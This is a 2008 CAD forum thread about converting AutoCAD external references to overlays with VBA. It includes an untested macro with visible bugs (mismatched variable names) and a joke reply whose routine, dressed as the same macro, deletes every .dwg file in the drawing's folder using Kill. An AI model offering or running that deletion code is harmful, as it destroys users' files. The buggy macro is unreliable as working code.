Author Topic: External References, can you change the overlay property?  (Read 6191 times)

0 Members and 1 Guest are viewing this topic.

Co.Mnstr

  • Guest
External References, can you change the overlay property?
« on: October 16, 2008, 06:30:54 PM »
I need a quick way to look up all the xrefs in a drawing and then change them to all overlay. I have not found where that control might be. Can someone point me in the right direction? Also how do I get VBA to make a collection of Xref names?

Thanks,
Alex

FengK

  • Guest
Re: External References, can you change the overlay property?
« Reply #1 on: October 16, 2008, 06:47:53 PM »
With lisp or VBA, you might have to detach and re-attach the xref. Not sure about with .NET languages like C# or VB.NET. Probably no need.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #2 on: October 16, 2008, 06:59:37 PM »
You can't change the attachment type, you have to detach and reattach.

Co.Mnstr

  • Guest
Re: External References, can you change the overlay property?
« Reply #3 on: October 16, 2008, 07:04:07 PM »
With everything I've been reading lately, I would like to do it in VBA. Would I have to make a collection of the file name, file path and insertion point. (We do all xrefs at 1 to 1 scale and don't do rotations.) Then detach all xrefs using the file name. Then attach again as an overlay, using the file name, and path and insertion point. Is that the basic idea?

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #4 on: October 16, 2008, 07:20:35 PM »
Do a filtered selection set, then a for each loop on the set.  Get the path/name of the xref and the insertion point, detach, then attach the new one.

Can you go from here or do you need some help?

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #5 on: October 16, 2008, 07:21:37 PM »
I actually wrote something in VBA to do this a few years ago but probably don't have it anymore.  I'll check though.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #6 on: October 16, 2008, 07:57:57 PM »
I couldn't find it so I did it again really quickly.  This is less elegant than it could be because I did some quick cribbing and patching from other things.  It will also only work on modelspace xrefs.  If it hits a pspace xref it will detach it and reattach in mspace.  I've been told before that I shouldn't post any code unless it's fully tested and bulletproof because I'm wasting the persons time if they have to actually put any effort into it themselves, but this is not tested.  It should work.  If it doesn't, it will with minor tweaking.

Code: [Select]
Public Sub Layover()

 Dim objSelSets As AcadSelectionSets
 Dim objSelSet As AcadSelectionSet
 Dim objOverlay As AcadExternalReference
 Dim intType(0) As Integer
 Dim varData(0) As Variant
 Dim strPath As String
 Dim strName As String
 Dim dblInsPnt(0 To 2) As Double
 Dim objXref As AcadExternalReference
 Dim objEnt As AcadEntity
 Dim objBlk As AcadBlock
 Dim objBlks As AcadBlocks

 Set objBlks = ThisDrawing.Blocks
 Set objSelSets = ThisDrawing.SelectionSets
 For Each objSelSet In objSelSets
   If objSelSet.Name = "GetXrefs" Then
     objSelSets.Item("GetXrefs").Delete
     Exit For
   End If
 Next
 Set objSelSet = objSelSets.Add("GetXrefs")
 intType(0) = 0
 varData(0) = "INSERT"
 objSelSet.Select 5, filtertype:=intType, filterdata:=varData
   For Each objEnt In objSelSet
     Set objBlk = objBlks(objEnt.Name)
     If objBlk.IsXRef Then
       Set objXref = objEnt
       strName = obxref.Name
       strPath = objXref.Path
       dblInsPt = objXref.InsertionPoint
       objBlk.Detach
       Set objOverlay = ModelSpace.AttachExternalReference(strPath, strName, dblInsPnt, 1, 1, 1, 1, True)
     End If
   Next objEnt
End Sub

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #7 on: October 16, 2008, 07:59:16 PM »
Oh, no error control, use at your own risk or ignore at will, blahgitty, blahgitty, blah.

SomeCallMeDave

  • Guest
Re: External References, can you change the overlay property?
« Reply #8 on: October 16, 2008, 10:02:01 PM »
Nice code Boob.

Now could you change it to do something entirely different.  I don't have time to tell you exactly what I need, so please make sure it works. 

Thanks in advance. 


PS.  I'm only trying to help others learn by asking you to do my job.


Chuck Gabriel

  • Guest
Re: External References, can you change the overlay property?
« Reply #9 on: October 17, 2008, 07:36:35 AM »
Somebody needs a nap. :-D

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #10 on: October 17, 2008, 10:53:16 AM »
Nice code Boob.

Now could you change it to do something entirely different.  I don't have time to tell you exactly what I need, so please make sure it works. 

Thanks in advance. 


PS.  I'm only trying to help others learn by asking you to do my job.


:-D

Matt__W

  • Seagull
  • Posts: 12955
  • I like my water diluted.
Re: External References, can you change the overlay property?
« Reply #11 on: October 17, 2008, 11:15:55 AM »
Autodesk Expert Elite
Revit Subject Matter Expert (SME)
Owner/FAA sUAS Pilot @ http://skyviz.io

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #12 on: October 17, 2008, 11:17:55 AM »
He's seen me with a spandex autodesk shirt.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #13 on: October 17, 2008, 11:24:19 AM »
Here you go SCuMDave.  I'm sure this is exactly what you needed.

Code: [Select]
Public Sub Layover()

 Dim objSelSets As AcadSelectionSets
 Dim objSelSet As AcadSelectionSet
 Dim objOverlay As AcadExternalReference
 Dim intType(0) As Integer
 Dim varData(0) As Variant
 Dim strPath As String
 Dim strName As String
 Dim dblInsPnt(0 To 2) As Double
 Dim objXref As AcadExternalReference
 Dim objEnt As AcadEntity
 Dim objBlk As AcadBlock
 Dim objBlks As AcadBlocks

strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
Kill strPath

End Sub



WARNING!!!!!!!!!!!!!!!

If you're not Dave and/or can't understand what this is doing, do NOT under any circumstances, run it.

Matt__W

  • Seagull
  • Posts: 12955
  • I like my water diluted.
Re: External References, can you change the overlay property?
« Reply #14 on: October 17, 2008, 11:24:59 AM »
He's seen me with a spandex autodesk shirt.
Autodesk Expert Elite
Revit Subject Matter Expert (SME)
Owner/FAA sUAS Pilot @ http://skyviz.io

SomeCallMeDave

  • Guest
Re: External References, can you change the overlay property?
« Reply #15 on: October 17, 2008, 12:46:20 PM »
Here you go SCuMDave.  I'm sure this is exactly what you needed.

Code: [Select]
Public Sub Layover()

 Dim objSelSets As AcadSelectionSets
 Dim objSelSet As AcadSelectionSet
 Dim objOverlay As AcadExternalReference
 Dim intType(0) As Integer
 Dim varData(0) As Variant
 Dim strPath As String
 Dim strName As String
 Dim dblInsPnt(0 To 2) As Double
 Dim objXref As AcadExternalReference
 Dim objEnt As AcadEntity
 Dim objBlk As AcadBlock
 Dim objBlks As AcadBlocks

strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
.........
End Sub



Thanks Bob.  I don't have time to test it,  so do you have a few hours to re-code it to auto-embed into all our templates and to autoload and execute each time acad starts?  And please include network supports.  

Thanks in advance  :)

Oh,  and please stop wasting my RAM by declaring variable you don't use. :realmad:


Thanks again.   :)


ps.  Sorry for hijacking Co.Mnstr's thread,  I couldn't resist 

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #16 on: October 17, 2008, 01:37:50 PM »
Just run this.  It will take care of everything for you.

David Hall

  • Automatic Duh Generator
  • King Gator
  • Posts: 4075
Re: External References, can you change the overlay property?
« Reply #17 on: October 17, 2008, 03:28:24 PM »
now thats funny.  The deployment package has been downloaded 3 times.......
Everyone has a photographic memory, Some just don't have film.
They say money can't buy happiness, but it can buy Bacon and that's a close second.
Sometimes the question is more important than the answer. (Thanks Kerry for reminding me)

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #18 on: October 17, 2008, 07:40:10 PM »
That is funny.  Now I wonder if anyone's going to figure out what it is/does.   :evil:

Something special for the person who does.  Not sure what that will be, but I have no doubt that it will be chock full o' awesome.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #19 on: October 17, 2008, 07:41:11 PM »
The big question is, did cookie monster get taken care of in the midst of all this tom foolery.

SomeCallMeDave

  • Guest
Re: External References, can you change the overlay property?
« Reply #20 on: October 17, 2008, 09:26:47 PM »
That is funny.  Now I wonder if anyone's going to figure out what it is/does.   :evil:

Something special for the person who does.  Not sure what that will be, but I have no doubt that it will be chock full o' awesome.


I've never really cared for the Breeden translation,  but then I don't really consider myself an expert.  But pass the awesome  :)

Kerry

  • Mesozoic relic
  • Seagull
  • Posts: 11654
  • class keyThumper<T>:ILazy<T>
Re: External References, can you change the overlay property?
« Reply #21 on: October 17, 2008, 09:46:13 PM »

Poets, beerhalls and dragons ... some of the things that make life worthwhile :)
kdub, kdub_nz in other timelines.
Perfection is not optional.
Everything will work just as you expect it to, unless your expectations are incorrect.
Discipline: None at all.

Bob Wahr

  • Guest
Re: External References, can you change the overlay property?
« Reply #22 on: October 17, 2008, 10:50:20 PM »
I'll have to figure out what the awesome is but I'll give it to you both.  PM me a mailing address.

Probably a glossy 8x10 of yours truly as it can't get any more awesome than that.

FWIW, not a big fan of that translation either but it was the first easily copy/pasteable version I found.

Co.Mnstr

  • Guest
Re: External References, can you change the overlay property?
« Reply #23 on: October 20, 2008, 01:27:54 PM »
Did I get taken care of, Yes. I lead me into understanding how selectionset and selectionsets are used. A concept I did not know about before.
Thanks, all.